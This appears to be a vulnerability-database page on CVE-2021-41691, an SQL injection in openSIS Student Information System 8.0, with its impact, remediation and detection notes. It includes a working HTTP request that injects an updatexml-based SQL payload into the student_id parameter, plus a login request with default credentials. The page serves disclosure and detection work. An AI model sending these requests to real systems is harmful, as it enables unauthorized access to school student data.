🔙 목록으로 돌아가기

CVE-2021-41691: openSIS Student Information System 8.0 SQL Injection

TitleopenSIS Student Information System 8.0 SQL Injection
AuthorBartu Utku SARP
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data manipulation, or data leakage.
RemediationApply the latest security patch or upgrade to a patched version of openSIS Student Information System to mitigate the SQL Injection vulnerability (CVE-2021-41691).
EPSS Score0.02472
CVE IDCVE-2021-41691
Tags cve cve2021 sqli auth edb opensis vkev vuln

🔍 Vulnerability Description

openSIS Student Information System version 8.0 is susceptible to SQL injection via the student_id and TRANSFER[SCHOOL] parameters in POST request sent to /TransferredOutModal.php.

🌐 HTTP Request

POST /TransferredOutModal.php?modfunc=detail HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/608.2.11 (KHTML, like Gecko) Version/13 Safari/608.2.11
Content-Length: 103
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
Accept-Encoding: gzip
Connection: close

student_id=updatexml(0x23,concat(1,md5(5123)),1)&button=Save&TRANSFER[SCHOOL]=5&TRANSFER[Grade_Level]=5
POST /index.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Content-Length: 54
Content-Type: application/x-www-form-urlencoded
Origin: http://www.victim.com
Accept-Encoding: gzip
Connection: close

USERNAME=student&PASSWORD=student@123&language=en&log=

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-41691.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-41691.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A